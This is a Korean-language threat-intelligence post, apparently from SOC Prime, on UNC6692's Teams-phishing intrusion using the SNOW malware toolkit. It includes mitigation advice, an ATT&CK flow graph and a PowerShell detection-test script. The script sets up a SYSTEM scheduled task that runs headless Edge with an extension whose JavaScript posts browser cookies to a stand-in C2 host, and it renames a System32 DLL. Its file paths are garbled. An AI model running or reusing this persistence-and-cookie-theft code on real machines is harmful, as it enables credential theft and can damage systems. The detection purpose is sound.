SOC Prime Bias: Critical

24 4월 2026 16:35

UNC6692, 사회 공학을 통해 맞춤형 악성코드 배포

Author Photo
Ruslan Mikhalov SOC Prime에서 위협 연구 책임자 linkedin icon 팔로우
UNC6692, 사회 공학을 통해 맞춤형 악성코드 배포
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

UNC6692는 Microsoft Teams를 통해 전송된 피싱 링크로 시작하여 악성 AutoHotKey 페이로드를 배달하고 SNOW로 알려진 맞춤형 모듈식 멀웨어 도구 키트를 배포한 다중 단계 침입을 수행했습니다. 이 작업은 또한 가짜 Chromium 브라우저 확장, Python 기반 터널링 유틸리티, 로컬 HTTP 백도어를 사용하여 측면 이동, 자격 증명 도용 및 클라우드 서비스를 통한 데이터 탈출을 가능하게 했습니다. 해당 캠페인은 적법한 클라우드 인프라와 브라우저 기반 지속성 메커니즘의 효과적인 남용으로 두드러졌습니다. 이 활동을 탐지하기 위해서는 비정상적인 브라우저 확장 행동, 무인 모드로 Edge를 실행하는 예약 작업, 클라우드 스토리지 서비스에 대한 의심스러운 접근을 주의 깊게 모니터링해야 합니다.

조사

Google 위협 인텔리전스 그룹은 Teams 채팅 기록 분석, AutoHotKey 스크립트 캡처, 예약 작업 구성 및 AWS S3 및 Heroku 호스팅 WebSocket 서버와 관련된 네트워크 트래픽을 통해 이 캠페인을 발견했습니다. 멀웨어 분석에서는 SNOW 멀웨어 패밀리, 내부 구성 요소, 의사소통 패턴 및 공격자가 PsExec과 인증정보 덤프 도구를 사용한 것을 밝혀냈습니다. 또한 LimeWire를 통해 AD 데이터베이스 파일과 LSASS 메모리 도난이 이루어진 것도 확인되었습니다.

완화

수호자들은 브라우저 확장에 대해 엄격한 허용 리스트 정책을 적용하고, 헤드리스 또는 확장 관련 플래그로 실행된 Microsoft Edge를 모니터링하며, 승인되지 않은 AWS S3 버킷 및 Heroku 도메인에 대한 접근을 차단해야 합니다. 특권 계정에 대해 다중 인증을 강제하고 PsExec 실행 및 LSASS 접근을 모니터링함으로써 자격 증명 도용과 측면 이동을 제한할 수 있습니다. 예약 작업과 시작 프로그램 바로가기도 정기적으로 검토하여 권한 없는 지속성을 식별해야 합니다.

대응

SNOW 구성 요소가 감지되면 즉시 감염된 시스템을 격리하고, 의심스러운 Edge 및 AutoHotKey 프로세스를 종료하고, LSASS 관련 포렌식 분석을 위해 메모리를 수집하십시오. 알려진 명령 및 제어 도메인과 IP 주소를 차단하고, 악성 브라우저 확장을 제거하며, 특권 계정의 자격 증명을 회전하십시오. 그러고 나서 전체 네트워크 전반에 걸쳐 추가로 손상된 호스트를 식별하기 위한 조사를 수행하고, 지속성을 위해 예약 작업과 시작 프로그램 항목을 검토하십시오.

"graph TB %% Class definitions classDef technique fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ffcc99 classDef operator fill:#ff9900 %% Technique nodes tech_phishing["<b>기술</b> – <b>T1566.002 피싱: Microsoft Teams를 통한 스피어 피싱 링크</b><br/><b>설명</b>: 공격자는 표적 사용자를 위해 Microsoft Teams를 통해 악성 링크를 전달합니다."] class tech_phishing technique tech_user_exec["<b>기술</b> – <b>T1204.001 사용자 실행: 악성 링크 클릭</b><br/><b>설명</b>: 희생자가 악성 링크를 클릭하여 실행을 트리거합니다."] class tech_user_exec technique tech_ahk["<b>기술</b> – <b>T1059.010 명령 및 스크립트 인터프리터: AutoHotkey/AutoIT</b><br/><b>설명</b>: AutoHotkey 바이너리와 스크립트를 실행하여 추가 코드를 실행합니다."] class tech_ahk technique tech_python["<b>기술</b> – <b>T1059.006 명령 및 스크립트 인터프리터: Python</b><br/><b>설명</b>: 추가 모듈을 위한 Python 로더를 실행합니다."] class tech_python technique tech_ext["<b>기술</b> – <b>T1176 소프트웨어 확장: Chromium 확장 설치</b><br/><b>설명</b>: 지속성을 유지하기 위해 악성 브라우저 확장을 설치합니다."] class tech_ext technique tech_schedtask["<b>기술</b> – <b>T1053.005 예약 작업: Headless Edge 실행</b><br/><b>설명</b>: 악성 확장과 함께 Edge를 시작하기 위해 예약 작업을 생성합니다."] class tech_schedtask technique tech_shortcut["<b>기술</b> – <b>T1547.009 바로가기 수정</b><br/><b>설명</b>: 자동 실행을 위해 시작 폴더에 바로가기를 배치합니다."] class tech_shortcut technique tech_ingress["<b>기술</b> – <b>T1105 도구 전송 들어오다</b><br/><b>설명</b>: SNOWGLAZE 및 SNOWBASIN과 같은 추가 페이로드를 다운로드합니다."] class tech_ingress technique tech_obfuscate["<b>기술</b> – <b>T1027 난독화된 파일 또는 정보</b><br/><b>설명</b>: Base64로 페이로드를 인코딩하고 AES-GCM으로 암호화합니다."] class tech_obfuscate technique tech_archive["<b>기술</b> – <b>T1560 수집된 데이터 보관</b><br/><b>설명</b>: 탈출하기 전에 데이터를 암호화하고 준비합니다."] class tech_archive technique tech_encchannel["<b>기술</b> – <b>T1573.001 암호화된 채널: 대칭 암호화</b><br/><b>설명</b>: 암호화된 통신을 위해 AES-GCM을 사용합니다."] class tech_encchannel technique tech_tunnel["<b>기술</b> – <b>T1572 프로토콜 터널링</b><br/><b>설명</b>: Heroku 명령 및 제어 서버에 WebSocket 터널을 설정합니다."] class tech_tunnel technique tech_appproto["<b>기술</b> – <b>T1071.001 어플리케이션 레이어 프로토콜: WebSocket</b><br/><b>설명</b>: WebSocket 어플리케이션 레이어 프로토콜을 통해 C2와 소통합니다."] class tech_appproto technique tech_proxy["<b>기술</b> – <b>T1090 프록시</b><br/><b>설명</b>: 트래픽을 라우팅하기 위해 터널을 프록시로 사용합니다."] class tech_proxy technique tech_psexec["<b>기술</b> – <b>T1021.002 SMB/Windows 관리자 공유: PsExec</b><br/><b>설명</b>: SMB 관리자 공유를 통해 원격 프로세스를 실행하여 측면 이동을 수행합니다."] class tech_psexec technique tech_cred_dump["<b>기술</b> – <b>T1003 OS 인증정보 덤프</b><br/><b>설명</b>: LSASS 메모리에서 인증 정보를 추출합니다."] class tech_cred_dump technique tech_pass_hash["<b>기술</b> – <b>T1550.002 해시 전달</b><br/><b>설명</b>: 캡처된 NTLM 해시를 사용하여 다른 시스템에 인증합니다."] class tech_pass_hash technique tech_rdp["<b>기술</b> – <b>T1021.001 원격 데스크탑 프로토콜</b><br/><b>설명</b>: 백업 서버와 도메인 컨트롤러에 RDP를 통해 연결합니다."] class tech_rdp technique tech_exfil["<b>기술</b> – <b>T1567.002 클라우드 스토리지로의 데이터 유출</b><br/><b>설명</b>: 수확한 AD 데이터베이스 파일을 Amazon S3에 업로드합니다."] class tech_exfil technique %% Tool nodes tool_ahk_binary["<b>도구</b> – <b>이름</b>: AutoHotkey 바이너리<br/><b>설명</b>: 컴파일된 AHK 스크립트를 실행합니다."] class tool_ahk_binary tool tool_python_runtime["<b>도구</b> – <b>이름</b>: Python 인터프리터<br/><b>설명</b>: Python 기반 로더를 실행합니다."] class tool_python_runtime tool tool_edge_headless["<b>도구</b> – <b>이름</b>: Microsoft Edge (headless)<br/><b>설명</b>: 악성 확장을 실행하기 위해 사용된 브라우저."] class tool_edge_headless tool tool_snowglaze["<b>도구</b> – <b>이름</b>: SNOWGLAZE 로더<br/><b>설명</b>: 추가 모듈을 다운로드하고 실행합니다."] class tool_snowglaze tool tool_snowbasin["<b>도구</b> – <b>이름</b>: SNOWBASIN 로더<br/><b>설명</b>: SNOWGLAZE 이후에 사용되는 2차 로더."] class tool_snowbasin tool tool_snowbelt_ext["<b>도구</b> – <b>이름</b>: SNOWBELT Chromium 확장<br/><b>설명</b>: 브라우저에서 지속성 및 데이터 수집을 제공합니다."] class tool_snowbelt_ext tool tool_psexec["<b>도구</b> – <b>이름</b>: PsExec<br/><b>설명</b>: 관리자 공유를 통해 원격 Windows 호스트에서 프로세스를 실행합니다."] class tool_psexec tool %% Malware nodes malware_snowglaze["<b>말웨어</b> – <b>이름</b>: SNOWGLAZE<br/><b>설명</b>: WebSocket 터널을 생성하고 트래픽을 암호화하는 로더."] class malware_snowglaze malware malware_snowbasin["<b>말웨어</b> – <b>이름</b>: SNOWBASIN<br/><b>설명</b>: 데이터 준비를 지원하는 2차 페이로드."] class malware_snowbasin malware malware_snowbelt["<b>말웨어</b> – <b>이름</b>: SNOWBELT 확장<br/><b>설명</b>: 지속성과 데이터 유출을 위해 사용되는 Chromium 확장."] class malware_snowbelt malware %% Attack flow connections tech_phishing –>|leads_to| tech_user_exec tech_user_exec –>|triggers| tech_ahk tech_ahk –>|uses| tool_ahk_binary tech_ahk –>|executes| tech_python tech_python –>|uses| tool_python_runtime tech_python –>|downloads| tool_snowglaze tech_python –>|downloads| tool_snowbasin tool_snowglaze –>|installs| malware_snowglaze tool_snowbasin –>|installs| malware_snowbasin malware_snowglaze –>|creates| tech_ext tech_ext –>|installs| tool_snowbelt_ext tool_snowbelt_ext –>|installs| malware_snowbelt tech_ext –>|enables| tech_schedtask tech_schedtask –>|launches| tool_edge_headless tech_ext –>|enables| tech_shortcut tech_shortcut –>|adds| op_shortcut_startup(("Startup shortcut")) class op_shortcut_startup operator tech_user_exec –>|downloads| tech_ingress tech_ingress –>|delivers| tech_obfuscate tech_obfuscate –>|prepares| tech_archive tech_archive –>|protects| tech_encchannel tech_encchannel –>|protects| tech_tunnel tech_tunnel –>|uses| tech_appproto tech_tunnel –>|acts_as| tech_proxy tech_proxy –>|routes| tech_psexec tech_psexec –>|uses| tool_psexec tool_psexec –>|executes| tech_cred_dump tech_cred_dump –>|provides| tech_pass_hash tech_pass_hash –>|enables| tech_rdp tech_rdp –>|connects_to| tech_exfil "

공격 흐름

시뮬레이션 실행

사전 조건: Telemetry & Baseline Pre‑flight Check가 통과되어야 합니다.

합리적 설명: 이 섹션은 탐지 규칙을 트리거하도록 설계된 공격자 기술(TTP)의 정확한 실행을 설명합니다. 명령어와 서술은 식별된 TTP를 직접 반영해야 하며 탐지 논리가 예상하는 정확한 텔레메트리를 생성하는 것을 목표로 해야 합니다. 추상적이거나 관련 없는 예시는 잘못된 진단을 초래할 수 있습니다.

  • 공격 내러티브 & 명령:

    1. 목표: 피해자 호스트에 Snowbelt 브라우저 기반 페이로드의 지속적이고 은밀한 실행을 확립합니다.
    2. 방법: Microsoft Edge를 헤드리스 모드에서 악성 Snowbelt 확장을 통해 시작하는 예약 작업을 등록합니다 (C:TempSnowbelt). 확장은 C2에 연락하고 데이터를 유출하는 악성 JavaScript를 로드합니다.
    3. 정리 지표: 페이로드 실행 후, 공격자는 시스템 DLL 캐시에서 “정상적인” Edge 프로세스 탐지를 피하기 위해 CoreUIComponents.dll 을 제거합니다; Edge 프로세스는 계속 실행되지만 모듈이 없고, 규칙의 두 번째 조항을 만족합니다.
  • 회귀 테스트 스크립트:

    # UNC6692 시뮬레이션 - 악성 예약 작업 생성 및 CoreUIComponents.dll 없이 Edge 실행
    # -------------------------------------------------------------------------
    # 1️⃣ 변수 정의
    $edgePath   = "$Env:ProgramFiles(x86)MicrosoftEdgeApplicationmsedge.exe"
    $extPath    = "C:TempSnowbelt"
    $taskName   = "SnowbeltEdgeTask"
    $arguments  = "--headless --load-extension=`"$extPath`""
    $taskUser   = "SYSTEM"
    
    # 2️⃣ 확장 폴더 존재 확인 (시뮬레이션된 페이로드)
    New-Item -ItemType Directory -Force -Path $extPath | Out-Null
    Set-Content -Path "$extPathmanifest.json" -Value '{"name":"Snowbelt","version":"1.0","manifest_version":2,"background":{"scripts":["snow.js"]}}' -Encoding UTF8
    Set-Content -Path "$extPathsnow.js" -Value 'fetch("http://malicious.c2/collect", {method:"POST", body:document.cookie});' -Encoding UTF8
    
    # 3️⃣ 악성 예약 작업 등록
    $action  = New-ScheduledTaskAction -Execute $edgePath -Argument $arguments
    $trigger = New-ScheduledTaskTrigger -AtLogOn
    Register-ScheduledTask -TaskName $taskName -Action $action -Trigger $trigger -User $taskUser -Force
    
    # 4️⃣ 즉시 작업을 시작하여 텔레메트리를 생성
    Start-ScheduledTask -TaskName $taskName
    
    # 5️⃣ 실행 중인 Edge 프로세스에서 CoreUIComponents.dll 제거 (시뮬레이션)
    #    참고: 실제 환경에서는 DLL 하이재킹이나 프로세스 메모리 패칭이 필요할 수 있습니다.
    #    여기서는 파일을 삭제하여 tasklist 점검에서 누락시키도록 간단히 처리합니다.
    $dllPath = "$Env:SystemRootSystem32CoreUIComponents.dll"
    if (Test-Path $dllPath) {
        Rename-Item -Path $dllPath -NewName "CoreUIComponents.dll.bak" -Force
    }
    
    # 6️⃣ Edge가 실행 중임과 DLL이 없음 확인
    $proc = Get-Process -Name "msedge" -ErrorAction SilentlyContinue
    if ($proc) {
        Write-Host "Edge 프로세스 PID $($proc.Id)가 악성 확장과 함께 시작되었습니다."
    }
  • 정리 명령:

    # 예약 작업 제거
    Unregister-ScheduledTask -TaskName "SnowbeltEdgeTask" -Confirm:$false
    
    # CoreUIComponents.dll이 이름이 변경된 경우 복원
    $dllPath = "$Env:SystemRootSystem32CoreUIComponents.dll"
    $backup   = "$Env:SystemRootSystem32CoreUIComponents.dll.bak"
    if (Test-Path $backup) {
        Rename-Item -Path $backup -NewName "CoreUIComponents.dll" -Force
    }
    
    # 시뮬레이션된 확장 파일들 삭제
    Remove-Item -Path "C:TempSnowbelt" -Recurse -Force